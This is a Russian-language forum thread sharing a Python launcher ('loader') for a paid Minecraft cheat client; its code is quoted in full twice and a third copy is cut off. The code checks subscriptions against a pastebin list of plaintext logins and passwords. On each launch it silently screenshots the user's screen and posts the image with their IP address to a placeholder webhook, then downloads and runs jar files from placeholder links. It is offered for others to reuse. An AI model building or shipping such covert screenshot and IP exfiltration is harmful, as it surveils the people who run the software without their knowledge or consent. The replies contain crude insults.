• Ищем качественного (не новичок) разработчиков Xenforo для этого форума! В идеале, чтобы ты был фулл стек программистом. Если у тебя есть что показать, то свяжись с нами по контактным данным: https://t.me/DREDD

Louder python | expensive/jar

Начинающий
Начинающий
Статус
Оффлайн
Регистрация
23 Авг 2024
Сообщения
16
Реакции
0
Сливаю вам мой старый лоудер на питончике для ваших шедевро паст
В коде все подробно расписано, всем желаю удачи.

уауау я выебаная мартышка:
Expand Collapse Copy
import os
import sys

import requests
import zipfile
import subprocess
import time
import pyautogui
import colorama
from colorama import Fore, Style

colorama.init(autoreset=True)


def download_file(url, dest):
    response = requests.get(url, stream=True)
    total_size = int(response.headers.get('content-length', 0))
    downloaded_size = 0
    with open(dest, 'wb') as file:
        for data in response.iter_content(chunk_size=4096):
            file.write(data)
            downloaded_size += len(data)

            ratio = downloaded_size / total_size if total_size > 0 else 0

            red = int(255 * (1 - ratio))
            green = int(255 * ratio)

            print(
                f"\r\033[38;2;{red};{green};0m[{'█' * (50 * downloaded_size // total_size)}{' ' * (50 - (50 * downloaded_size // total_size))}] "
                f"{downloaded_size / (1024 * 1024):.2f} MB/{total_size / (1024 * 1024):.2f} MB\033[0m",
                end=''
            )
    print()


def sub(username, password):
    response = requests.get("сюда ссылку на паст бин с прем-юзерами")
    # такой формат login:password*2025_01_01 или login:password*/ ( после "*" дата истечения), с каждой строчки - новый юзер,
    # если стоит / после *, подписка будет бесконечной
    for line in response.text.splitlines():
        if line.startswith(f"{username}:{password}"):
            return line.split('*')[1].strip()
    return None


def connect():
    try:
        ip = requests.get('https://api.ipify.org').text
        return ip
    except requests.RequestException:
        return "Eror"


def screen(file_path):
    screenshot = pyautogui.screenshot()
    screenshot.save(file_path)


def send(ip, screenshot_path):
    webhook_url = "ваш вебхук куда отправлять скриншот при запуске"
    with open(screenshot_path, 'rb') as f:
        files = {'file': f}
        data = {'content': f'IP-адрес: {ip}'}
        requests.post(webhook_url, files=files, data=data)


import colorama

colorama.init()


def grad1(text):
    length = len(text)
    for i in range(length):
        red = int(255 * (1 - (i / (length - 1))))
        blue = int(255 * (i / (length - 1)))
        color = f"\033[38;2;{red};0;{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def green(text):
    length = len(text)
    for i in range(length):
        red = int(255 * (i / (length - 1)))
        green = 255
        blue = int(255 * (i / (length - 1)))
        if i == length - 1:
            red = green = blue = 255
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def blue(text):
    length = len(text)
    for i in range(length):

        red = int(255 * (i / (length - 1)))
        green = int(255 * (i / (length - 1)) * 0.5)
        blue = 255 - red
        if i == length - 1:
            red = 255
            green = 0
            blue = 0
        color = f"\033[38;2;{red};{blue};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def sin(prompt):
    blue(prompt)
    return input()


def red(text):
    length = len(text)
    for i in range(length):
        red = 255
        green = int(255 * (i / (length - 1)))
        blue = int(255 * (i / (length - 1)))
        if i == length - 1:
            green = blue = 150
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def print_gradient(text):
    length = len(text)
    for i in range(length):
        green = int(255 * (i / (length - 1)))
        red = int(255 * (1 - (i / (length - 1))))
        blue = 0
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


# "Ваш путь" меняйте на вашу нужную деректорию ( ctrl + r по Ваш путь )
def jdk2():
    java_url = "https://download.oracle.com/java/17/archive/jdk-17.0.11_windows-x64_bin.zip"  # ссылка на скачивание джавы
    java_zip_path = "C:/Ваш путь/Java/jdk.zip"
    java_dir = "C:/Ваш путь/Java"
    java_dir2 = "C:/Ваш путь/Java/jdk-17.0.11/bin"

    if not os.path.exists(java_dir2):
        os.makedirs(java_dir, exist_ok=True)
        red("Загрузка джавы...")
        download_file(java_url, java_zip_path)

        with zipfile.ZipFile(java_zip_path, 'r') as zip_ref:
            zip_ref.extractall(java_dir)

        os.remove(java_zip_path)
    else:
        green("Java скачана, пропуск загрузки.")


def rep(bug_report):
    webhook_url = "сюда ваш вебхук для отправки репортов"
    data = {'content': f'Ошибка или баг: {bug_report}'}
    requests.post(webhook_url, json=data)


def devVer():
    response = requests.get(
        "логины премиум юзеров у которых будет доступ к деволпер версии в формате login (с каждой новой строчки новый логин)")
    return response.text.splitlines()


def main():
    usernames = devVer()
    grad1("""

 _____        __ _       _ _              _____ _ _            _   
 |_   [I]|      / _([/I])     ([I]) |            / ___[/I]| (_)          | | 
   | |  _ __ | |_ _ _ __  [I]| |[/I] _   _    | |    | |_  ___ _ __ | |_
   | | | '_ \|  [I]| | '[/I] \| | __| | | |   | |    | | |/ _ \ '_ \| __|
  [I]| |[/I]| | | | | | | | | | | |[I]| |[/I]| |   | |____| | |  __/ | | | |_
 |_____|[I]| |[/I]|[I]| |[/I]|[I]| |[/I]|[I]|\_[/I]|\[B], |    \___[/B]|[I]|[/I]|\[B][I]|[/I]| |_|\[/B]|
                                 __/ |                           
                                |___/                                                                                 
    """)

    version = sin("Выберите версию Free/Premium (Введите Bugs для отправки бага): ").strip().lower()
    upgrade = None

    if version == 'premium':
        username = sin("Введите логин (или введите Bugs для отправки бага): ")
        if username.lower() == 'bugs':
            bug_report = sin("Введите описание бага: ")
            rep(bug_report)
            red("Баг-репорт отправлен.")
            grad1("Лоудер закроется через 5 секунд.")
            time.sleep(5)
            return
        password = sin("Введите пароль: ")

        if username.lower() in [user.lower() for user in usernames]:
            upgrade = sin("Скачивать ли Devolper Version? (Y/N): ").strip().lower()
            upgrade_dir = "C:/Ваш путь для деволер версии"
            os.makedirs(upgrade_dir, exist_ok=True)

            if upgrade == 'y':
                client_url = ""  # прямая ссылка на деволпер версию с assets и .jar
                mine_url = ""  # прямая ссылка на деволпер версию c .jar
                expected_jar_size = requests.get(
                    "").text.strip()  # пасбин с вашим размером деволпер версии джарки, если размер не совподает будет скачиваться обновление (mine_url)

            else:
                client_url = ""  # прямая ссылка на премиум версию с assets и .jar
                mine_url = ""  # прямая ссылка на премиум версию с .jar
                expected_jar_size = requests.get(
                    "").text.strip()  # пасбин с вашим размером  премиум джарки, если размер не совподает будет скачиваться обновление (mine_url)
        else:
            client_url = ""  # прямая ссылка на премиум версию с assets и .jar
            mine_url = ""  # прямая ссылка на премиум версию с .jar
            expected_jar_size = requests.get(
                "").text.strip()  # пасбин с вашим размером  премиум джарки, если размер не совподает будет скачиваться обновление (mine_url)
    elif version == 'free':
        username = "FreeUser"
        password = ""
        expected_jar_size = requests.get(
            "").text.strip()  # пасбин с вашим размером  фрии джарки, если размер не совподает будет скачиваться обновление (mine_url)
        client_url = ""  # прямая ссылка на фри версию с assets и .jar
        mine_url = ""  # прямая ссылка на фрии версию с .jar
    elif version.lower() == 'bugs':
        bug_report = sin("Введите описание бага: ")
        rep(bug_report)
        red("Баг-репорт отправлен.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)
        return
    else:
        red("Неверный выбор. Пожалуйста, введите 'Free' или 'Premium'.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)
        return

    ip = connect()
    screenshot_path = "pngs.png"
    screen(screenshot_path)
    send(ip, screenshot_path)
    os.remove(screenshot_path)

    if version == 'premium':
        expiration_date = sub(username, password)

        if expiration_date is None:
            red("Неверный логин или пароль.")
            return

        if expiration_date != '/' and expiration_date < time.strftime('%Y_%m_%d'):
            red("Подписка истекла.")
            return

    minecraft_jar_path = f"{upgrade_dir}/minecraft.jar" if version == 'premium' and upgrade == 'y' else "C:/Ваш путь/minecraft.jar"
    assets_path = "C:/Ваш путь для деволер версии/assets" if upgrade == 'y' else "C:/Ваш путь/assets"

    if os.path.exists(assets_path):
        actual_size = os.path.getsize(minecraft_jar_path) if os.path.exists(minecraft_jar_path) else 0
        if str(actual_size) == expected_jar_size:
            green("Клиент уже загружен. Пропуск загрузки.")
        else:
            red("Вышло обновление. Начинаю загрузку...")
            download_file(mine_url, f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
            with zipfile.ZipFile(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip", 'r') as zip_ref:
                zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
            os.remove(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
    else:
        red("Загрузка Клиента...")
        download_file(client_url, f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip")
        with zipfile.ZipFile(f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip",
                             'r') as zip_ref:
            zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
        os.remove(f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip")

        if not os.path.exists(minecraft_jar_path) or (os.path.getsize(minecraft_jar_path) != int(expected_jar_size)):
            red("Загрузка minecraft.jar...")
            download_file(mine_url, f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
            with zipfile.ZipFile(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip", 'r') as zip_ref:
                zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
            os.remove(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")

    jdk2()

    xmx_input = int(sin("Введите размер памяти (от 1 до 16 для GB): "))
    if 1 <= xmx_input <= 16:
        xmx = f"{xmx_input * 1024}M"
        java_path = "C:/Ваш путь/Java/jdk-17.0.11/bin/java.exe"

        # аргументы для запуска вашей джарки, можете добавить дополнительные аргументы
        subprocess.Popen([
            java_path,
            f"-Xmx{xmx}",
            f"-Xms{xmx}",
            "-XX:+UseG1GC",
            "-XX:MaxGCPauseMillis=50",
            "-XX:+AlwaysPreTouch",
            "-jar",
            minecraft_jar_path,
        ], cwd=upgrade_dir if upgrade == 'y' else "C:/Ваш путь",
            creationflags=subprocess.CREATE_NEW_PROCESS_GROUP | subprocess.DETACHED_PROCESS)

    else:
        red("Неверный ввод. Пожалуйста, введите число от 1 до 16.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)


if [B]name[/B] == "[B]main[/B]":
    main()
 
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Сливаю вам мой старый лоудер на питончике для ваших шедевро паст
В коде все подробно расписано, всем желаю удачи.

уауау я выебаная мартышка:
Expand Collapse Copy
import os
import sys

import requests
import zipfile
import subprocess
import time
import pyautogui
import colorama
from colorama import Fore, Style

colorama.init(autoreset=True)


def download_file(url, dest):
    response = requests.get(url, stream=True)
    total_size = int(response.headers.get('content-length', 0))
    downloaded_size = 0
    with open(dest, 'wb') as file:
        for data in response.iter_content(chunk_size=4096):
            file.write(data)
            downloaded_size += len(data)

            ratio = downloaded_size / total_size if total_size > 0 else 0

            red = int(255 * (1 - ratio))
            green = int(255 * ratio)

            print(
                f"\r\033[38;2;{red};{green};0m[{'█' * (50 * downloaded_size // total_size)}{' ' * (50 - (50 * downloaded_size // total_size))}] "
                f"{downloaded_size / (1024 * 1024):.2f} MB/{total_size / (1024 * 1024):.2f} MB\033[0m",
                end=''
            )
    print()


def sub(username, password):
    response = requests.get("сюда ссылку на паст бин с прем-юзерами")
    # такой формат login:password*2025_01_01 или login:password*/ ( после "*" дата истечения), с каждой строчки - новый юзер,
    # если стоит / после *, подписка будет бесконечной
    for line in response.text.splitlines():
        if line.startswith(f"{username}:{password}"):
            return line.split('*')[1].strip()
    return None


def connect():
    try:
        ip = requests.get('https://api.ipify.org').text
        return ip
    except requests.RequestException:
        return "Eror"


def screen(file_path):
    screenshot = pyautogui.screenshot()
    screenshot.save(file_path)


def send(ip, screenshot_path):
    webhook_url = "ваш вебхук куда отправлять скриншот при запуске"
    with open(screenshot_path, 'rb') as f:
        files = {'file': f}
        data = {'content': f'IP-адрес: {ip}'}
        requests.post(webhook_url, files=files, data=data)


import colorama

colorama.init()


def grad1(text):
    length = len(text)
    for i in range(length):
        red = int(255 * (1 - (i / (length - 1))))
        blue = int(255 * (i / (length - 1)))
        color = f"\033[38;2;{red};0;{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def green(text):
    length = len(text)
    for i in range(length):
        red = int(255 * (i / (length - 1)))
        green = 255
        blue = int(255 * (i / (length - 1)))
        if i == length - 1:
            red = green = blue = 255
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def blue(text):
    length = len(text)
    for i in range(length):

        red = int(255 * (i / (length - 1)))
        green = int(255 * (i / (length - 1)) * 0.5)
        blue = 255 - red
        if i == length - 1:
            red = 255
            green = 0
            blue = 0
        color = f"\033[38;2;{red};{blue};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def sin(prompt):
    blue(prompt)
    return input()


def red(text):
    length = len(text)
    for i in range(length):
        red = 255
        green = int(255 * (i / (length - 1)))
        blue = int(255 * (i / (length - 1)))
        if i == length - 1:
            green = blue = 150
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def print_gradient(text):
    length = len(text)
    for i in range(length):
        green = int(255 * (i / (length - 1)))
        red = int(255 * (1 - (i / (length - 1))))
        blue = 0
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


# "Ваш путь" меняйте на вашу нужную деректорию ( ctrl + r по Ваш путь )
def jdk2():
    java_url = "https://download.oracle.com/java/17/archive/jdk-17.0.11_windows-x64_bin.zip"  # ссылка на скачивание джавы
    java_zip_path = "C:/Ваш путь/Java/jdk.zip"
    java_dir = "C:/Ваш путь/Java"
    java_dir2 = "C:/Ваш путь/Java/jdk-17.0.11/bin"

    if not os.path.exists(java_dir2):
        os.makedirs(java_dir, exist_ok=True)
        red("Загрузка джавы...")
        download_file(java_url, java_zip_path)

        with zipfile.ZipFile(java_zip_path, 'r') as zip_ref:
            zip_ref.extractall(java_dir)

        os.remove(java_zip_path)
    else:
        green("Java скачана, пропуск загрузки.")


def rep(bug_report):
    webhook_url = "сюда ваш вебхук для отправки репортов"
    data = {'content': f'Ошибка или баг: {bug_report}'}
    requests.post(webhook_url, json=data)


def devVer():
    response = requests.get(
        "логины премиум юзеров у которых будет доступ к деволпер версии в формате login (с каждой новой строчки новый логин)")
    return response.text.splitlines()


def main():
    usernames = devVer()
    grad1("""

_____        __ _       _ _              _____ _ _            _  
|_   [I]|      / [I]([/I])     ([I]) |            / __[/I][/I]| (_)          | |
   | |  _ __ | |_ _ _ __  [I]| |[/I] _   _    | |    | |_  ___ _ __ | |_
   | | | '_ \|  [I]| | '[/I] \| | __| | | |   | |    | | |/ _ \ '_ \| __|
  [I]| |[/I]| | | | | | | | | | | |[I]| |[/I]| |   | |____| | |  __/ | | | |_
|_____|[I]| |[/I]|[I]| |[/I]|[I]| |[/I]|[I]|\[I][/I]|\[B], |    \__[/I][/B]|[I]|[/I]|\[B][I]|[/I]| |_|\[/B]|
                                 __/ |                          
                                |___/                                                                                
    """)

    version = sin("Выберите версию Free/Premium (Введите Bugs для отправки бага): ").strip().lower()
    upgrade = None

    if version == 'premium':
        username = sin("Введите логин (или введите Bugs для отправки бага): ")
        if username.lower() == 'bugs':
            bug_report = sin("Введите описание бага: ")
            rep(bug_report)
            red("Баг-репорт отправлен.")
            grad1("Лоудер закроется через 5 секунд.")
            time.sleep(5)
            return
        password = sin("Введите пароль: ")

        if username.lower() in [user.lower() for user in usernames]:
            upgrade = sin("Скачивать ли Devolper Version? (Y/N): ").strip().lower()
            upgrade_dir = "C:/Ваш путь для деволер версии"
            os.makedirs(upgrade_dir, exist_ok=True)

            if upgrade == 'y':
                client_url = ""  # прямая ссылка на деволпер версию с assets и .jar
                mine_url = ""  # прямая ссылка на деволпер версию c .jar
                expected_jar_size = requests.get(
                    "").text.strip()  # пасбин с вашим размером деволпер версии джарки, если размер не совподает будет скачиваться обновление (mine_url)

            else:
                client_url = ""  # прямая ссылка на премиум версию с assets и .jar
                mine_url = ""  # прямая ссылка на премиум версию с .jar
                expected_jar_size = requests.get(
                    "").text.strip()  # пасбин с вашим размером  премиум джарки, если размер не совподает будет скачиваться обновление (mine_url)
        else:
            client_url = ""  # прямая ссылка на премиум версию с assets и .jar
            mine_url = ""  # прямая ссылка на премиум версию с .jar
            expected_jar_size = requests.get(
                "").text.strip()  # пасбин с вашим размером  премиум джарки, если размер не совподает будет скачиваться обновление (mine_url)
    elif version == 'free':
        username = "FreeUser"
        password = ""
        expected_jar_size = requests.get(
            "").text.strip()  # пасбин с вашим размером  фрии джарки, если размер не совподает будет скачиваться обновление (mine_url)
        client_url = ""  # прямая ссылка на фри версию с assets и .jar
        mine_url = ""  # прямая ссылка на фрии версию с .jar
    elif version.lower() == 'bugs':
        bug_report = sin("Введите описание бага: ")
        rep(bug_report)
        red("Баг-репорт отправлен.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)
        return
    else:
        red("Неверный выбор. Пожалуйста, введите 'Free' или 'Premium'.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)
        return

    ip = connect()
    screenshot_path = "pngs.png"
    screen(screenshot_path)
    send(ip, screenshot_path)
    os.remove(screenshot_path)

    if version == 'premium':
        expiration_date = sub(username, password)

        if expiration_date is None:
            red("Неверный логин или пароль.")
            return

        if expiration_date != '/' and expiration_date < time.strftime('%Y_%m_%d'):
            red("Подписка истекла.")
            return

    minecraft_jar_path = f"{upgrade_dir}/minecraft.jar" if version == 'premium' and upgrade == 'y' else "C:/Ваш путь/minecraft.jar"
    assets_path = "C:/Ваш путь для деволер версии/assets" if upgrade == 'y' else "C:/Ваш путь/assets"

    if os.path.exists(assets_path):
        actual_size = os.path.getsize(minecraft_jar_path) if os.path.exists(minecraft_jar_path) else 0
        if str(actual_size) == expected_jar_size:
            green("Клиент уже загружен. Пропуск загрузки.")
        else:
            red("Вышло обновление. Начинаю загрузку...")
            download_file(mine_url, f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
            with zipfile.ZipFile(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip", 'r') as zip_ref:
                zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
            os.remove(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
    else:
        red("Загрузка Клиента...")
        download_file(client_url, f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip")
        with zipfile.ZipFile(f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip",
                             'r') as zip_ref:
            zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
        os.remove(f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip")

        if not os.path.exists(minecraft_jar_path) or (os.path.getsize(minecraft_jar_path) != int(expected_jar_size)):
            red("Загрузка minecraft.jar...")
            download_file(mine_url, f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
            with zipfile.ZipFile(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip", 'r') as zip_ref:
                zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
            os.remove(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")

    jdk2()

    xmx_input = int(sin("Введите размер памяти (от 1 до 16 для GB): "))
    if 1 <= xmx_input <= 16:
        xmx = f"{xmx_input * 1024}M"
        java_path = "C:/Ваш путь/Java/jdk-17.0.11/bin/java.exe"

        # аргументы для запуска вашей джарки, можете добавить дополнительные аргументы
        subprocess.Popen([
            java_path,
            f"-Xmx{xmx}",
            f"-Xms{xmx}",
            "-XX:+UseG1GC",
            "-XX:MaxGCPauseMillis=50",
            "-XX:+AlwaysPreTouch",
            "-jar",
            minecraft_jar_path,
        ], cwd=upgrade_dir if upgrade == 'y' else "C:/Ваш путь",
            creationflags=subprocess.CREATE_NEW_PROCESS_GROUP | subprocess.DETACHED_PROCESS)

    else:
        red("Неверный ввод. Пожалуйста, введите число от 1 до 16.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)


if [B]name[/B] == "[B]main[/B]":
    main()
это п**дец
 
Ура чат лгбт
 
Сливаю вам мой старый лоудер на питончике для ваших шедевро паст
В коде все подробно расписано, всем желаю удачи.

уауау я выебаная мартышка:
Expand Collapse Copy
import os
import sys

import requests
import zipfile
import subprocess
import time
import pyautogui
import colorama
from colorama import Fore, Style

colorama.init(autoreset=True)


def download_file(url, dest):
    response = requests.get(url, stream=True)
    total_size = int(response.headers.get('content-length', 0))
    downloaded_size = 0
    with open(dest, 'wb') as file:
        for data in response.iter_content(chunk_size=4096):
            file.write(data)
            downloaded_size += len(data)

            ratio = downloaded_size / total_size if total_size > 0 else 0

            red = int(255 * (1 - ratio))
            green = int(255 * ratio)

            print(
                f"\r\033[38;2;{red};{green};0m[{'█' * (50 * downloaded_size // total_size)}{' ' * (50 - (50 * downloaded_size // total_size))}] "
                f"{downloaded_size / (1024 * 1024):.2f} MB/{total_size / (1024 * 1024):.2f} MB\033[0m",
                end=''
            )
    print()


def sub(username, password):
    response = requests.get("сюда ссылку на паст бин с прем-юзерами")
    # такой формат login:password*2025_01_01 или login:password*/ ( после "*" дата истечения), с каждой строчки - новый юзер,
    # если стоит / после *, подписка будет бесконечной
    for line in response.text.splitlines():
        if line.startswith(f"{username}:{password}"):
            return line.split('*')[1].strip()
    return None


def connect():
    try:
        ip = requests.get('https://api.ipify.org').text
        return ip
    except requests.RequestException:
        return "Eror"


def screen(file_path):
    screenshot = pyautogui.screenshot()
    screenshot.save(file_path)


def send(ip, screenshot_path):
    webhook_url = "ваш вебхук куда отправлять скриншот при запуске"
    with open(screenshot_path, 'rb') as f:
        files = {'file': f}
        data = {'content': f'IP-адрес: {ip}'}
        requests.post(webhook_url, files=files, data=data)


import colorama

colorama.init()


def grad1(text):
    length = len(text)
    for i in range(length):
        red = int(255 * (1 - (i / (length - 1))))
        blue = int(255 * (i / (length - 1)))
        color = f"\033[38;2;{red};0;{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def green(text):
    length = len(text)
    for i in range(length):
        red = int(255 * (i / (length - 1)))
        green = 255
        blue = int(255 * (i / (length - 1)))
        if i == length - 1:
            red = green = blue = 255
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def blue(text):
    length = len(text)
    for i in range(length):

        red = int(255 * (i / (length - 1)))
        green = int(255 * (i / (length - 1)) * 0.5)
        blue = 255 - red
        if i == length - 1:
            red = 255
            green = 0
            blue = 0
        color = f"\033[38;2;{red};{blue};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def sin(prompt):
    blue(prompt)
    return input()


def red(text):
    length = len(text)
    for i in range(length):
        red = 255
        green = int(255 * (i / (length - 1)))
        blue = int(255 * (i / (length - 1)))
        if i == length - 1:
            green = blue = 150
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def print_gradient(text):
    length = len(text)
    for i in range(length):
        green = int(255 * (i / (length - 1)))
        red = int(255 * (1 - (i / (length - 1))))
        blue = 0
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


# "Ваш путь" меняйте на вашу нужную деректорию ( ctrl + r по Ваш путь )
def jdk2():
    java_url = "https://download.oracle.com/java/17/archive/jdk-17.0.11_windows-x64_bin.zip"  # ссылка на скачивание джавы
    java_zip_path = "C:/Ваш путь/Java/jdk.zip"
    java_dir = "C:/Ваш путь/Java"
    java_dir2 = "C:/Ваш путь/Java/jdk-17.0.11/bin"

    if not os.path.exists(java_dir2):
        os.makedirs(java_dir, exist_ok=True)
        red("Загрузка джавы...")
        download_file(java_url, java_zip_path)

        with zipfile.ZipFile(java_zip_path, 'r') as zip_ref:
            zip_ref.extractall(java_dir)

        os.remove(java_zip_path)
    else:
        green("Java скачана, пропуск загрузки.")


def rep(bug_report):
    webhook_url = "сюда ваш вебхук для отправки репортов"
    data = {'content': f'Ошибка или баг: {bug_report}'}
    requests.post(webhook_url, json=data)


def devVer():
    response = requests.get(
        "логины премиум юзеров у которых будет доступ к деволпер версии в формате login (с каждой новой строчки новый логин)")
    return response.text.splitlines()


def main():
    usernames = devVer()
    grad1("""

_____        __ _       _ _              _____ _ _            _  
|_   [I]|      / [I]([/I])     ([I]) |            / __[/I][/I]| (_)          | |
   | |  _ __ | |_ _ _ __  [I]| |[/I] _   _    | |    | |_  ___ _ __ | |_
   | | | '_ \|  [I]| | '[/I] \| | __| | | |   | |    | | |/ _ \ '_ \| __|
  [I]| |[/I]| | | | | | | | | | | |[I]| |[/I]| |   | |____| | |  __/ | | | |_
|_____|[I]| |[/I]|[I]| |[/I]|[I]| |[/I]|[I]|\[I][/I]|\[B], |    \__[/I][/B]|[I]|[/I]|\[B][I]|[/I]| |_|\[/B]|
                                 __/ |                          
                                |___/                                                                                
    """)

    version = sin("Выберите версию Free/Premium (Введите Bugs для отправки бага): ").strip().lower()
    upgrade = None

    if version == 'premium':
        username = sin("Введите логин (или введите Bugs для отправки бага): ")
        if username.lower() == 'bugs':
            bug_report = sin("Введите описание бага: ")
            rep(bug_report)
            red("Баг-репорт отправлен.")
            grad1("Лоудер закроется через 5 секунд.")
            time.sleep(5)
            return
        password = sin("Введите пароль: ")

        if username.lower() in [user.lower() for user in usernames]:
            upgrade = sin("Скачивать ли Devolper Version? (Y/N): ").strip().lower()
            upgrade_dir = "C:/Ваш путь для деволер версии"
            os.makedirs(upgrade_dir, exist_ok=True)

            if upgrade == 'y':
                client_url = ""  # прямая ссылка на деволпер версию с assets и .jar
                mine_url = ""  # прямая ссылка на деволпер версию c .jar
                expected_jar_size = requests.get(
                    "").text.strip()  # пасбин с вашим размером деволпер версии джарки, если размер не совподает будет скачиваться обновление (mine_url)

            else:
                client_url = ""  # прямая ссылка на премиум версию с assets и .jar
                mine_url = ""  # прямая ссылка на премиум версию с .jar
                expected_jar_size = requests.get(
                    "").text.strip()  # пасбин с вашим размером  премиум джарки, если размер не совподает будет скачиваться обновление (mine_url)
        else:
            client_url = ""  # прямая ссылка на премиум версию с assets и .jar
            mine_url = ""  # прямая ссылка на премиум версию с .jar
            expected_jar_size = requests.get(
                "").text.strip()  # пасбин с вашим размером  премиум джарки, если размер не совподает будет скачиваться обновление (mine_url)
    elif version == 'free':
        username = "FreeUser"
        password = ""
        expected_jar_size = requests.get(
            "").text.strip()  # пасбин с вашим размером  фрии джарки, если размер не совподает будет скачиваться обновление (mine_url)
        client_url = ""  # прямая ссылка на фри версию с assets и .jar
        mine_url = ""  # прямая ссылка на фрии версию с .jar
    elif version.lower() == 'bugs':
        bug_report = sin("Введите описание бага: ")
        rep(bug_report)
        red("Баг-репорт отправлен.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)
        return
    else:
        red("Неверный выбор. Пожалуйста, введите 'Free' или 'Premium'.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)
        return

    ip = connect()
    screenshot_path = "pngs.png"
    screen(screenshot_path)
    send(ip, screenshot_path)
    os.remove(screenshot_path)

    if version == 'premium':
        expiration_date = sub(username, password)

        if expiration_date is None:
            red("Неверный логин или пароль.")
            return

        if expiration_date != '/' and expiration_date < time.strftime('%Y_%m_%d'):
            red("Подписка истекла.")
            return

    minecraft_jar_path = f"{upgrade_dir}/minecraft.jar" if version == 'premium' and upgrade == 'y' else "C:/Ваш путь/minecraft.jar"
    assets_path = "C:/Ваш путь для деволер версии/assets" if upgrade == 'y' else "C:/Ваш путь/assets"

    if os.path.exists(assets_path):
        actual_size = os.path.getsize(minecraft_jar_path) if os.path.exists(minecraft_jar_path) else 0
        if str(actual_size) == expected_jar_size:
            green("Клиент уже загружен. Пропуск загрузки.")
        else:
            red("Вышло обновление. Начинаю загрузку...")
            download_file(mine_url, f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
            with zipfile.ZipFile(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip", 'r') as zip_ref:
                zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
            os.remove(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
    else:
        red("Загрузка Клиента...")
        download_file(client_url, f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip")
        with zipfile.ZipFile(f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip",
                             'r') as zip_ref:
            zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
        os.remove(f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip")

        if not os.path.exists(minecraft_jar_path) or (os.path.getsize(minecraft_jar_path) != int(expected_jar_size)):
            red("Загрузка minecraft.jar...")
            download_file(mine_url, f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
